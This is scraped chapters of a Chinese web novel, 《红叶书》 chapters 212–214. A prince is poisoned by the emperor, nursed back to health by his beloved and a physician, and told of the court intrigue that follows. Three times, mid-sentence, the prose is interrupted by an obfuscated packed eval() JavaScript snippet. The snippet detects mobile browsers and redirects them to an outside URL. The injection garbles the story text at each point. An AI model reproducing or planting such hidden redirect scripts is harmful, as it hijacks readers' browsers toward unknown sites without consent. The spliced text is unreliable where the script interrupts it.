梁风继续心不在焉。 入了夜,皇帝终于离开沧池,协带梁风去往朝殿偏阁。 偏殿内已经有一干太监宫女,来来回回忙碌。梁风坐下,案上一众菜肴全都布好,酒也斟好。 皇帝起筷,梁风开动。白天吃得少,他饿了。 席间静静。吃得认真的同时没忘记留意皇帝的动静,梁风等着皇帝在这顿饭上要说什么,随时应付。 但是吃到后半席,皇帝始终没有开口,什么话也没说。 琢磨不明白,梁风索性不琢磨了,赶紧吃完还来得及出宫找她。 皇帝比他先放下筷子,直到梁风吃完皇帝都没说话。 一桌菜,好吃的都吃完了,不喜欢也都吃了点。梁风给足面子,吃完了正要请出宫,皇帝开口道:“西域都护府新进贡一批葡萄,你尝尝新。” 他还没答话,殿外宫女捧着葡萄端来了。 紫色的葡萄上沾着水珠,饱满的一大串,看起来晶莹剔透,果香很浓。 梁风只好继续给面子。他扯下一小串,吃了一颗,牙齿一咬,汁水迸出来,他的脸立刻皱了。 很酸,非常酸,一股浓烈的酸气直往脑袋上冲。 西域竟敢进贡这种果品,梁风往皇帝那看,想看皇帝生气没有,却见皇帝正好也看着他,似乎在看他反应。 “如何?” 他活生生将这颗葡萄咽下去,道:“恐怕不合陛下口味,味道怪酸的,大概葡萄还未到季节吧。” 皇帝呵一声,“是么,西域都护府这是将未长熟的果品送上贡来了。” 皇帝看起来没吃,也不知道生气没有。梁风是不想再吃了,酸得倒胃口。 他将果碟推远,想和皇帝告辞,正要开口,忽然感觉肚子疼。 咕噜咕噜地泛疼,昨夜的肚子到现在还没闹完吗,他想出恭。 越发要走了,梁风拱手,“陛下......” 骤然强烈的痛感打断他的话,肚子的疼痛沿着全身筋脉迅速扩散,眼前瞬间模糊发散,后脑变凉,梁风发觉不对劲,这不是想出恭。 手臂不受控地猛一抽搐,喉咙里一股血气混着臭气呼出来,脏腑仿佛被带锯齿的刀翻搅切碎。梁风躬着身体说不出话,想推开桌子离远点,全身绷紧的筋脉却不受他控制地颤抖,意识仿佛逐渐从这具身体中剥离,他看见指甲颜色变深。 “若有机会,朕愿意与你做个好兄弟。”皇帝忽然道。 梁风暴睁着眼睛抬头,眼前只有一个模糊的身影。入眼光线全部发散失焦,他却能感受到皇帝俯视他的冷漠。 “你......”他想撑起身体逃出去,意识却越来越轻。 “无论如何,在朕登基前,多谢有你。” 这几年的安逸完全消磨了他的警惕,他完全没有感受到杀意。 梁风控制最后一点肌肉摸腰,却没能摸到他的佩刀,他身后也没有带进宫的随从。 他不知道做错了什么,可能引起皇帝警觉的话始终犹犹豫豫不曾说出口,安生这几年,他又做错了什么。 梁风呕出一口血,颈椎抽搐地令脑袋歪掉,倒在从他身体里吐出的血块中。 “送回府,别死在宫里。”皇帝说道。 212. 《红叶书》(一三二) 无法呼吸,梁风大张着嘴,只能像狗一样喘气,咽喉的收放都不由他控制。每喘一下,仿佛被割烂搅碎的胸膛就会下陷。 他能感觉到,内脏被腐蚀烂了,动一下,满嘴吐出稀粥。 他被太监架着,拖进殿外马车里。 躯体慢慢脱离他的掌控,意识却还清晰,毒药无法令他立即断气,他能感受到自己的生命逐渐流失。 有人在他身上点了穴,但是没用。眼前越来越黑,马车飞快疾驰,梁风徒劳张着嘴,一点气息都无法吸入,痛苦也在剥离。 仅存的意识不再清晰,黑暗中他看见很多张脸,但是辨认不出这些脸是谁。他想抓住什么,也想谁来抓住他。 意识中最后一点光线消失,梁风没了知觉。 马车停定,收到消息的王府众人一拥而上,暗卫抱着他送上卧房床榻。 针尖扎入他的喉咙,皮肤表层被刺激地跳动。扎入第二根,气息烟细地进入口腔咽喉。梁风猛地睁开眼,眼中有见,却不能对光线做出反应。 意识没有被唤醒,他却仿佛有所感应,从所见中认出金絮的脸。他的手向她伸过去。不知伸过去没有,他彻底失去身体的控制,完全陷入黑暗。 ...... 他感觉冷,身体深处生发出一点意识,很冷。 意识转瞬即逝,他什么也没抓住。 黑暗中再次燃起一丝光线,光线照亮他的大脑,梁风在脑海中看见这道光,他没有对身体的感知。 忽暗忽亮,沉沉浮浮,光线带来温暖,驱散大脑中的寒冷。 疼......身体在向他传递感受,意识慢慢和身体连结,忽然感到沉重,耳边仿佛听见呼唤。 很疼...... 肌肉开始一抽一抽,内脏接连苏醒,他却不能控制。 她说疼......是她在说疼...... 体内传来疼痛,梁风用力睁眼,想看看她。 光线骤然变得实感,模糊影像中,有人在他面前。他还没看清楚,床前的人立即跑出去了。像是即将剥离他而去,梁风害怕,想抓住她,身体却动不了。 入耳声音缓慢地清晰起来,疼痛加剧,梁风适应光线,看清她的背影。她在门外喊人,喊来了李婶。 李婶为他把脉,说可以放心了。金絮看他一眼,然后倒下了。 梁风呜呜咽咽,伸手想抓她,喉咙使不上力,发不出声。她脸上苍白又憔悴,明显操心坏了。 李婶搂住她,将她抱入隔壁寝室,再来轻声和他道:“王爷,姑娘睡下了。” “您昏迷了三天,都是她在照顾您,累坏了。”李婶问:“身体疼得厉害?” 梁风点头,疼得部分肌肉抽搐,动不了。 “嗓子伤了,暂时不能说话。您的脏腑受损很严重,醒来后前两天不能进食。我先给您止疼,但您眼下情况难以消化,只能一点一点缓慢进食药物,药效十分有限,疼痛不能完全止住,您若疼得厉害便睡觉吧。” 梁风点头,还能忍。李婶的头发白了几缕,脸上苍老很多,这几天为了救他不知耗费多少心神。 他没太多精力细想,精神飘飘忽忽,疼痛让他勉强清醒。李婶手指捏捏他的下巴,梁风张嘴,李婶将一颗药丸喂进他口中道:“含着,别嚼别吞。” 药丸不大,缓慢融化成药液流入喉咙,很苦,量少,他吃得进去。 李婶不知点燃了什么香,浓浓苦味散发出来。 “您刚醒,精神不济,支撑不了太久,累的话便继续睡吧,我晚间再为您施一次针。” 梁风眨眨眼表示知道,他确实觉得很累,明明才刚醒。 门外传来匆忙脚步声,他的眼风感到熟悉,是金絮,她不知怎么醒了。 金絮快速跑来床边,摸摸他的鼻子额头和脸颊。 李婶看见她惊了一下,“怎起了?这才睡了多久。” 她问李婶:“他醒了便安全了?” 刚才没来得及细看她,这三天她瘦了许多,头发也白了不少,脸上肤色深一块浅一块,眼睛十分塌陷,眼周皮肤沟沟道道而且很黑,嘴唇却白得异常。梁风看见这样的她心情很不好,身体更痛了。 李婶捞起她的手腕摸脉,“再去睡会吧,王爷已经安全了。” 金絮摸着他的头脸,“他身上很冷。” “脏腑受损自然影响身体调节,王爷才醒,体温还低着,后续注意保暖,过两天就恢复正常体温了。你放心吧,我每隔两个时辰来把脉,有事情立即告诉你。”李婶拿出一瓶药递给她,“你心神才放松下来不好入睡,记得睡前吃一颗。厨里有饭,吃一点再睡,吃了饭再吃这药。” 她连饭都不吃,摸他的手在发抖,梁风挣扎着探出棉被,勉强用指尖够到她的腿,使一点力地推她,想把她推走去吃饭睡觉。 她仿佛没感觉到,接了李婶的药,仍是不放心地看着他。 梁风使劲地推她,她恍恍惚惚似乎察觉到,看了他的手一眼,握住了。 挣开她的手指,梁风在她掌心里写字,写“去休息”三个字。 她终于发现他有话想说,梁风将“去”字再写一遍。她的手掌发抖,握住他的指尖。梁风在她眼里看出强烈的不安。 李婶劝她道:“休息去吧,王爷不能耗费心神,别让他担心你。” 她神情恍惚,眼睛血丝很多,她呼出一口气,揉揉脑袋,握一握他的手,“我不扰你了,醒来就好。” 她抓着药瓶,扶门出去了。 梁风想让李婶也去休息,他醒了,日夜守着他的人都需要休息。 李凤萍感应到他的眼神,笑道:“您别担心我,从医者心里有数,我好着呢。” 嘴里的药化完,似乎起效,他感觉没那么疼了。意识中的昏沉却突显出来,眼前将黑未黑时,他突然看见上首站着的冷漠身影,正在俯视他,原本昏迷前看不清楚的脸此刻莫名清晰起来。 那已然老态的一张脸除了岁月留下的痕迹仿佛永远不显露任何情绪,却能在那一刻让他看见清楚明白的漠视,没有不耐,临死关头终于不再吝惜。 心脏燃起一点火苗,很快烧得全身又热又痛,梁风睁了眼,四肢关节胸口肚子疼得抽搐。 李婶不知何时坐在床边,手指按着他头顶某处穴位,舒缓他绷紧的神经。 “不要去想昏迷前发生了什么,容易产生幻痛,阻滞脏腑愈合。王爷,现在你是安全的,没有人想害你。” 床边还有李晟。老李看着整洁很多,身上有精气神。 “王爷,王府的事情一切有我。”老李道。 “睡吧,再睡一觉醒来应当好多了。”李婶安抚他。 心火逐渐平熄,梁风想着金絮扶门离去的背影,忧虑地睡着了。 再次醒来不知过了多久。 耳边有细细研磨的声音,他睁眼还没完全醒来便知道身边有她在,熟悉的呼吸声能抚平他的忧虑。 一只手探向他的脸,在他脸上摸了一圈。 “渴吗?” 他睁眼适应光线,感觉好很多,清醒得很快,身上也有了点力气,往她的掌心里贴了贴。 她梳洗过一遍,看起来也好多了,嘴唇红润些,梁风欣慰地点点头。 “只能喝一点,不能喝太多。”她用小茶杯和一只极小的勺子,一点点喂他。 不够喝,嘴巴都不够湿的,梁风用眼神表示。金絮跟没看见他的眼神一般,坚持用小勺喂。 被她照顾着,梁风沉浸其中。 “不觉得饿吧,你的胃部伤得很厉害,应当不会想吃东西。” 梁风摇头,他确实不想吃东西,但是判断不出饿不饿。 “晚上的时候看恢复情况开始喝药。”喂完水,金絮放一颗药丸进他嘴里,“含着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些他说不出来,无法遏制眼泪狂流,清醒地感受身体逐渐变差,以往所作的一切徒劳无功,他什么都没剩下。 “别哭。”金絮擦去他的眼泪。 他想剩下什么,他只是想剩下点什么,无能地放任情绪,梁风越哭越委屈。 “我知道你想说什么。”金絮摸摸他的脑袋。 她一点也不知道。哭泣抽动胸膛,他觉得心脏很痛。 金絮撑着枕头,俯身亲他的脸颊,告诉他:“我知道你的感受。” 梁风被亲了一脸,满眼模糊地看着她,惯性地抽泣,停不下来。 “你有我呢。”她又俯身,亲他的嘴唇。 梁风不会呼吸了。 “再喝一点吧。”见他冷静下来,金絮端着糖水碗继续喂。 盯着她变薄的口脂,梁风咬紧牙关。 “你亲我......” 心跳变得很快,梁风攥着棉被眼巴巴看着她。 “嗯,亲你。”她若有所思,“心情好点了吗?” 梁风没意识地摇头,金絮俯身又要凑来,梁风紧紧抱住被子,瞪大眼睛地看着她。 她到半路直起身,“你已经心情好了。” 一勺糖水喂来,梁风干巴巴地张嘴接着,在勺子的间隙讲:“成亲才......成亲。” 成了亲才能促成亲亲,他想说的是这个意思。 她道:“晚上喂你喝甜一点的。” 水甜得够味,梁风这一张嘴很忙,又要吃又要说。 “你要......陪我。” “嗯,陪着呢。” 她像是有求必应。他喝着水,抱着棉被的手臂缓缓松开,心里仍然很紧张。 213. 《红叶书》(一三三) 晚间李婶为他把脉。李婶说他目前身体在一个平稳且逐步渐好的状态,恢复情况良好,今晚继续吃药,明天看情况再决定是否喝粥水。 梁风指着自己喉咙,想问他什么时候能正常说话。他要问她亲亲是什么意思,名正言顺了才能亲亲。 “我看看。” 梁风张大嘴巴,李婶看了看道:“还不错,王爷底子真好。嗓子应当是愈合最快的,药不能断,晚上再吃两颗,明日应当能如常说话了。” “他嫌药苦。”金絮道。 李婶略犹豫,想了想说:“吞咽的时候不感到疼痛的话,可以喝些糖水,但是不能太浓稠,稀一些。我去调糖水来吧。” “他好像情绪不太稳定。”金絮切切地问。 李婶颔首,缓声道:“是如此的。陡然大病初醒,病人无法接受自己忽然倒下,境遇大变,加之伤势病势的痛苦和药物的作用,心中一时想不开容易产生郁结。尤其是王爷这样,从前身强体健,突遭暗害,情绪极易控制不住。我们这些可随意走动的人要多劝慰着病人些。” “我多陪着他会好点吗?”她问。 梁风在一旁连连点头。 “那当然更好。”李婶笑道:“谁都比不过心上人在身边。” 李婶说完便走出去,金絮坐来床边,握他的手,“那我多陪着你。” 梁风不断点头,他需要陪伴。 金絮喂他吃一颗药,梁风乖乖含着,想那就明天问她。亲了必须给他名分,他们之间必须有关系才能亲。 “你安心养伤,这段时日我都会在王府。”她道。 梁风心满意足,在她掌心写:“病好了也不走。” “嗯。” 梁风愈发心满意足,她当真如她所说是在乎他的。 可是他转而又想,这是病人的专属权利,他的伤养好了她就会变卦,离开王府,不在乎他了,她要回到她的小破屋子却住得自在的地方去了。 梁风郁郁不平,觉得天大的不公平,老天待他太薄。 “你在养病呢,少想些不开心的。”她拍拍他的脑袋。 梁风委屈,尤其想到李婶临走前和她说的,更加觉得她此刻陪在身边不过是因为他是病人,等他不病了她就会走。 他郁郁寡欢,神情恹恹,只觉得人生悲喜没个尽头。 金絮凑近,“要亲亲吗?” 梁风眼中擒泪,对她的鲁莽更感郁塞不通,拽来她的手,愤然写道:在一起才能亲! 她看着掌心的一笔一划,带着他强烈的情绪,不甘而且愤怒。她握住拳。 “那就在一起吧。”她笑道:“以后不要冒险了。” 哄他呢。眼中的泪越逼越多,求而不得的话只能在这种境遇下听见,梁风愈加心里凄怨,希望骗他的话不要再说了。 “病好......你就......不要我。” “不会不要你。”她笑他,“不是答应过你不会再骗你吗。” “是我不长记性,任何事情总是要失去了才知道后悔。”她垂下脑袋,“是我错了。” 她在认错,认什么错,她哪里做错了。梁风紧抿着嘴看她,眼泪哗啦啦地流。 “你不离开京城也好,我没想到皇帝突然杀你,他都放任你这么多年。”金絮用手帕为他擦泪,“我们在一起,你会想着带我离开京城。” 梁风急急道:“你没......错。” 她脸上笑得松松,“总要做出取舍的,我希望你好好地健康地开心地活着。” 梁风捂着被子,抽着鼻子,乖了,心里许多想法暂时压下去。 李婶送糖水进来,看见眼睛通红的梁风,又看了看她,没说什么,放下糖水就走了。 金絮垫高枕头,一勺一勺喂他喝,梁风乖乖啜水。挺甜的,但甜法不一样,不像是溶了糖的水,而是加甘味的草药煮后的水,喝下去胸口里顺着水流一路微微泛疼。 “什么也别想,先把伤养好。” 梁风听话地点头。 过一个时辰又吃了一颗药。时候还早,梁风想睡觉了,她也该去休息了。梁风在她手里写,让她就去隔壁睡,不能走远了。 她应好。 老李着人将隔壁卧房仔细收拾了一下。是间耳房,主要放着梁风房里备用的东西,柜子多,床铺够大,窗户小点,进出必须经过梁风的房间。 夜深人静,蜡烛点得多,光线充足。梁风看着她走来走去,听她的各种动静,洗漱、梳发、整理床铺,最后在他床头放了个铃铛。 “有事就摇铃叫我。” 金絮熄掉蜡烛,手持一盏。梁风闭眼睡觉。 闭着闭着,他想到皇帝。 醒来后还没听见她和老李提起皇帝。这次没死,不知道皇帝会有何反应,会不会趁着他卧病在床时再下杀手。 之前各种揣测筹划,又是假死,又是欺君,其实主动权根本不在他这里。思考往后是多余的,根本没有往后。 无力感汹涌地兴起,梁风觉得这床不对劲,怎么在扎他。 他轻轻碰了一下铃铛,叮铃的清脆声音,很细微,她立即起身了。 随着脚步靠近,一点一点镇压黑暗中的鬼魅邪祟。 金絮坐到旁边,握着他的手,“你先睡,你睡着了我再走。” 梁风搂着棉被安心闭眼,什么也不想,很快睡着。 一觉醒来,头脑昏昏沉沉。梁风看着天花板,慢慢清醒,昏沉褪去,精神相比昨天反而好了很多。 每次醒来都感觉差点死掉,像是睡着就醒不过来,醒后才庆幸自己还活着。 房内李婶见他醒了,摸摸脉,“睡了挺久,已经午后了,王爷觉得饿吗?” 梁风摇头,但是他身上比昨天没力气,不知道是不是饿得。 “脾胃调息已足,不饿也得吃点东西了我再去温一温粥。”李婶道。 梁风看了一圈,没看见金絮,心里寂寞。他双手摸着床榻想撑身坐起来,然而撑不起来,两条腿都没力蹬。他应当是饿的,不然不会这么没力气。 房门开了,金絮看见他在床上扑腾,忙压住他,“别折腾了,李婶还没说你能下床。” “不是下床......我想坐起来。”嗓子顺滑许多,也不疼了,比较干哑,喝的水不够。 金絮扶他坐起,只扶到刚好够喂水的高度,梁风无力挣扎,躺平任扶。 她倒了杯温水,放根稻管,给他自己吸,不喂了。 他一边吸一边问:“你吃饭没有?” “吃了。” 抬手在她嘴唇上抹了一下,没有口脂,她的气色也没有很好。 “我会尽快好起来。”他道。 “慢慢来,不用急。” 喝完一杯,李婶端来粥水。粥中米粒煮得完全融化,很香,梁风还是没什么食欲。 她先试了一下温度再喂他。梁风喝了一口,她问:“什么感觉?疼吗?” “有一点,像被刺挠一下,很微弱,能喝。”刺挠的感觉顺着喉咙滑下食道,一直流入胃里,他还要虚弱多久。 “喝完粥过一刻钟再喝药。”李婶吩咐道。 梁风心情丧丧的,不想喝药。喝粥恢复一点力气,他挣扎着想爬坐起来。金絮从腋下扶了他一把,“安生点,不要乱动。” 梁风苦着脸,连起身都要人扶。他郁闷低头,攀着她的一只手,思考生死大事。 一刻钟过去,他要开始喝药了,宏大的思考被现实打断。 浓黑的一碗端在面前,梁风脸更苦,“我变成一个药罐子了。” “痊愈了就不是药罐子了,李婶说你妥善养好不会落下病根,往后不用一直吃药。” 她好声劝慰,递来一勺,梁风不情不愿张嘴。 黑黢黢的一碗下肚,整个人都变成药做的了。他问:“你还会亲我吗?” 金絮直接俯身亲过来。鼻翼互相擦过,梁风快要撞到她的脸上。牙关很软—— 她犹犹豫豫地后退,“真的好苦。” 药液在身体里流下的刺挠感被盖住,心脏狂跳,梁风呼吸不稳,猛地一吸震得肺部疼痛。 他盯着她的嘴唇道:“很干......” 金絮抿抿嘴,自己倒水喝。 “你为什么愿意和我在一起?” 她喝着水,没有回答。 梁风被自己的念头想得很委屈,“你骗我,我不相信,你不能拿这事哄我。” 她转转眼珠子,思考起来,“因为......” 仿佛死生契阔宇宙四合的宏大事情从她脑中掠过,她若有所思,“希望你的撒娇管用?” 梁风没反应过来,牙关还在发抖,脸上热热的,四肢筋脉都很暖和。 她放下杯子,认真道:“不想那么多了,我能确定的是,我很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁风摇头。 她收拾掉尿壶,道:“明天下床走走吧。” 梁风点头。 一早睡醒,时辰还没到午时。梁风吃早饭,见粥里面加了几点肉沫。 吃过早饭,休息了一会,金絮扶着他下地散步。刚走时腿软,走几步就适应了。只在他的院子里面走走,几步路就得停下歇息。 “老李很忙。”他道。从昏迷中醒来后,老李就一直很忙。 “是啊。”金絮一边赏着绿芽新发,一边道:“你昏迷后接连有人上门拜访,全靠老李在前面撑着,应付外面打探的人。因为有我在,老李不敢放人进来。” 她道:“你能下地了,后面再来拜访的人老李应当会请进来了。” “我得尽快好起来。我不倒下,王府就不会垮。”他得和开春的新芽一起,焕发生机。 “嗯。” 欲上门拜访他的人里应当有敬先,还可能有与義,他得写封信让老李派人送去。 她想到了什么,又说:“你中毒后过了几天,朝廷立了新太子,是三皇子。” 他道一声“哦”,没什么所谓。 猜也能猜到,争来争去,皇子里面也不会有更好的人选了。 “往后怎么打算?”她问。 梁风不想就说:“我要带你离开京城。” 无论留不留在他身边,她也不要待在京城了,太南那些小姑娘们也需要她。 轮到她沉默了。金絮低头看路,想着什么。绕着院子走了一圈,她才开口:“这一次,我不想责怪你,但是你说过我不会失去你。” 心里的熨帖激发起一股莫名的委屈,梁风的耳朵不断地环绕这句话,不断地体贴全身。 “就差一点。”她道。 差一点也是差,他平安了不是吗。 “你不想我带你离开京城吗?” “嗯。”她轻轻一嗯。 散够步,将近正午,太阳炽烈了,金絮扶他回房。 踏上门槛台阶,忽然感觉肠胃畅通,肚子塌陷下去,一股松下来的感觉。 梁风低头揉肚子,“排了。” 214. 《红叶书》(一三四) “昨日见您总不排气,我还着急呢,今日排了就好。”李婶欣慰地说。 肠道通畅,李婶换开一副药,吩咐小缃照方子去熬。 梁风身子畅快了不少,不想躺回床上,拉着她坐客榻。话没说完,还想和她继续说。 金絮拿来毯子,给他盖腿盖身,“你先专心养伤,其他事情等你养好伤再说,别太劳神。” 知道他在想什么,梁风拽着她不能乱跑,“要说。” “那你说吧。”她也没法,依着他坐了。 梁风很认真道:“我希望你留在我身边,但我不希望你受委屈,更不希望你做出妥协。” “我不妥协就是你妥协,而现在就是你妥协的结果,不然我们别在一起。” “不能说这种话。”他不爱听,和他掰开了讲:“倘若我们往后一直在一起,我们之间总要有个名分。你有王妃的名分,之后留在京城肯定需要和各种各样的王公贵族打交道,时不时参加那些王公贵族的夫人们办置的宴席,宴席上会有许许多多往来试探,你应付那些交道会很累。加上你户籍明面上的出身,背后闲言碎语不会少。还有,朝中仍然存在部分年纪大的官员从前见过你父亲,万一他们认出你呢?你和你父亲长得很像。” “我长得像我娘。那些宴席我可以不参加。”她淡然道:“王府在朝中偏安一隅,不也行吗?” “不行,那种日子你不会喜欢。丽姬离开京城再也没有回来,我想让你过上你喜欢的活法。” 她抿嘴不语,梁风道:“我已经派出暗卫去那座山谷搭建屋子了,我们有别的出路。” “你想怎么做?”她看过来。 “我有法子,我想和皇帝请旨离京。” 她听了又不说话,不满得明显。梁风道:“这一次皇帝杀我不成,他已经不耐烦再看见我了,我请旨离京正好合他的意。” “你离了京城皇帝就会放过你吗?” 她问到点子上。梁风想了想,道:“那我向皇帝请旨,辞去王位,甘愿降为黎庶,对他不再具有威胁,他会明白的。” “皇帝不会放过你。”她道:“你活着一日,皇帝心里就永远有根刺,不断扎着他,无论你在哪里。” 梁风觉得她的语气太冷酷了,双手搂住她,往她怀里缩,小声道:“我再想一想。” “别想了,先把伤养好,任何事情都等痊愈后再说。”她拍拍他的后背。 可是不能再拖了,皇帝已经要杀他了,这次是侥幸,下次呢?她住在王府,杀机连累到她怎么办。 他不能不想。梁风忧心忡忡,更加希望快点好起来。 入睡前金絮又带他散了两圈步,散完梁风觉得累了。 这身体,走两步就累。他越发忧心忡忡。 金絮仿佛没发现他的心思,梁风带着重重心事躺下,合被睡觉。 今夜梦多。 他闻见烈酒与沙土的味道。杯盏碰撞,营内火光焰焰,男人们爽朗的笑声欢庆得胜。他坐在众人之中,有人拍他的肩膀,递了一碗酒过来,他却看不清递酒之人是谁。 树林浓密幽深,他在林间飞快跳跃。脚底猛地一点,旋身躲过后方急射而来的箭支。他再度弹射而出,拔刀,寒光凛凛,脚畔勾断一根细线,兜头一张大网罩下来—— 小溪倒映黑马,开春鸟语花香。她喝着一袋春酒,言笑晏晏。她倚着石头对下一处目的地指点江山,他躲过的箭支向她射去,头颅被洞穿,鲜血扑洒小溪,游鱼四惊—— 梁风的身体猛地一挣,睁开眼,眼前黑得仿佛地狱冥界。 一点火光亮起,照亮塌边的人,温暖的手掌覆盖他,轻声道:“别怕。” 梁风四肢并用爬起来,心底太慌,双臂抱住她,“你一定会离开我。” “不会。”金絮轻靠他的脸,“做噩梦了。” “我不能保护你了。”梁风的眼泪汹涌流下。 金絮也抱住他,“为什么不能,你可以啊。” “就是不能了。” 他的心情很糟,天塌下来这么大的事情只有他一个人知道了,金絮都没发现。 梁风在她怀里宣泄情绪,直到天亮。 天光大亮,窗户照进阳光明媚的一天。 金絮十分耐心地哄着他。 梁风哭到累了,情绪缓和下来,靠着她的肩膀道:“我这几年很少想起从前在军营的时候,但是刚才梦见了。” 她点头应道:“这不意味着什么,只是一个梦。”她问:“还是有些情绪不稳定吗?” “才不是,我都是有感而发,不是情绪不稳定。” “好,我知道了。” 李婶晨起照常诊脉,看见他醒了,意外道:“今日起得这样早?” 苏醒后这些天他的睡眠还是很多,中毒前最多睡三四个时辰,现在每晚要睡五六个时辰,午后还得休息。他此刻放松下来就觉得困了。 “那便喝碗药再睡吧。”李婶道。 他迫切地需要去外面走走,外面鸟语花香,阳光明媚,充满希望。 早饭还在准备,金絮陪同他散步。梁风深深呼吸,感受天宽地阔,天空被结实地撑着。 老李来到院子,看见金絮,同她道:“七皇子和崔府公子递了拜帖,午后登门。” 她接了帖。老李转而问梁风:“王爷感觉如何了?” “好多了,你放心吧。” 金絮看过拜帖和他道:“吃过早饭喝了药,你再睡一觉,午后见见七皇子和崔府公子吧。” “嗯,我都听见了。”他的状态也该让皇帝知道了。 早饭仍然是粥水,煮得烂糊,梁风很轻松就能喝下去。现在吃东西感觉不到疼了,但是吃不了太多。 喝完粥紧跟着药就来了。 “我不能变成药罐子。”梁风说着,一口气喝完药。 满嘴苦味,他嘟嘴索吻,“亲亲。” 金絮一掌推回他的嘴,“李婶叫我不要亲你。” 梁风听了这话就真要情绪不稳定了,“不听李婶的。你不准嫌我苦。” 金絮如他所愿,梁风心满意足。 饭后缠着她散步消食,直到困得睁不开眼了才去睡觉。 结果睡了挺久,醒来时老李说与義和敬先已经在大殿等着了。 金絮不知去了哪里,梁风收拾一下便去前厅,老李领着两人过来。 与義见着他猛一扬声:“皇叔!” 敬先问:“你感觉怎么样?” “死不了。你们有空过来?” “递了好几次拜帖了,今天才说你有精力见客,我和殿下就赶紧来了。”敬先道。 “没事,这两天好多了,只是觉多。”梁风问与義:“你三哥成了太子了,你怎么样?” “还能怎么样,照常过日子啊。要让三哥觉得,他成为太子之前和成为太子之后,于我而言没有两样。” 梁风了然点头,看这情况,梁与棣拿了太子之位还不放心,学了他爹的疑心病。 “那晚我也在宫里,我是第二日才知道的。”与義语气变得正经,“皇叔难得进宫,我当时该去找皇叔的。” “用不着。你该怎样就怎样,不要多事。” 与義和敬先对视一眼,双双凑近,与義道:“不多事,事情也闹大了。第二日早朝,游相忽然指出有人意图毒杀皇叔,还说皇叔中毒当晚曾经进宫,出于陛下安危考虑,当即立案彻查,事情就传开了。 “冯棹台说那天晚上他在宫里碰见过你的马车,他说你当时着急出宫,却被宫门守卫拦下纠缠,出不得宫,是他替你解了围才让你顺利出宫。冯棹台还说,他当时见过了马车里的你,可以确认你是在宫里中了毒。 “游相以此为切入口,认为不是什么人都敢拦你的车架,那群宫门守卫定是奉人指使的。不出一天,便查到这背后指使的人是父皇,游相在早朝上当众将父皇一通好骂。” 骂?梁风挑眉,问道:“那天晚上我的车架被人拦过吗?”他怎么不知道? 侍在一旁的老李礼道:“是有这事。送您回来的暗卫同我说过,临出宫时被宫门守卫以无令不得擅自出宫为由拦下,也是说有位冯大人替您解了围。” “这样啊。”估计是怕他死不透,耽搁一会儿好让他死透了。 与義道:“皇叔的救治被耽搁过。那晚我若是在,就不会有这一茬了。” 梁风宽慰与義道:“被耽搁了我不是也救回来了,改天同冯棹台道谢去。” “然后呢?”他让与義接着说。 “然后,父皇当然生气了,说守卫拦驾是依章办事,还说游相查案不牢,丞相的位置是不是该换个人干。”与義皱着眉头,“父皇的语气很维护你,但那个时候,王府的人说皇叔昏迷未醒,游相提出调去太医,父皇却不同意。” “我府里的大夫不比太医差。”梁风无所谓。若是真找了太医,原本治得好的反而可能治不好了。 “那段时候,王府始终没有死讯传出,父皇不同意调派太医,却调去了仵作。仵作回宫后说皇叔身上未见外伤,猜测毒物是由吃食进入体内,游相便下令调查皇叔当日在宫中的所有吃食,查到毒物来源是晚膳的葡萄。” 这个梁风知道:“那葡萄应当提前用兑了毒药的水浸着,外表看来果肉无伤,加之葡萄未熟,口味极酸,掩盖了毒药的气味。” 与義认同点头,“那晚父皇的葡萄也有毒,但是父皇没吃。父皇便说下毒之人是陈将军,立即将陈将军押入大狱。” “陈将军是谁?” “陈高。”敬先压低声音道:“军营中目前掌权的将军。那批葡萄是前段时日西域进贡的,送入京畿地区后由陈高护送上京。” 梁风讶然,“单凭护送了一段皇帝就说毒是陈高下的?” “对。皇帝说陈高意图弑君,下令诛其九族,十分迅速地展开对陈家的清算,陈高的女儿已经贬入冷宫,而陈高自己不堪受辱在狱中自尽了。”敬先肃然道:“但是游照同无论怎么查,始终无法查到陈高调配毒水并提前将葡萄浸泡在毒水里的法子,陈高缺乏作案细节。” 敬先更加压低声音:“朝中反对立三皇子为太子的人中为首的正是陈高。我听说,陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839949|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高死后,朝中所有人都改而支持三皇子,你苏醒后,三皇子顺利成为储君。” “你还记得你昏迷前的事情吗?”敬先问。 梁风看着与義,与義回视他的目光有些闪躲。他颔首道:“记得,毒是皇帝下的。我在他面前毒发,我还记得在昏迷前他和我说,若有机会愿意与我做个好兄弟,还说在他登基前多谢有我。” 与義欲言又止,没说什么,微微低下头。 “我就知道,朝廷上不少人都猜是皇帝干的,这皇帝想一石二鸟。”敬先厉声道:“皇帝肯定没想到你竟然撑过了这一关,你往后需多加小心了,这暴君不会善罢甘休。” “嗯,我知道。” “你往后打算如何?” “往后不想做这个王爷了,我想离开京城。” “好。”敬先拍掌,“想走就走,京城也没什么你的牵挂,走之前先将伤养好。” 梁风轻轻点头,看着与義,与義面上很有些为难。 梁风笑道:“你们别管了,免得引火上身。我没事的,后面养养伤就好了,其他的事情你们不要多问。”他拍拍与義肩膀,“尤其是你,这件事情你要完全置身事外。” 与義收尽一切想说的话,乖巧点头,“嗯。” 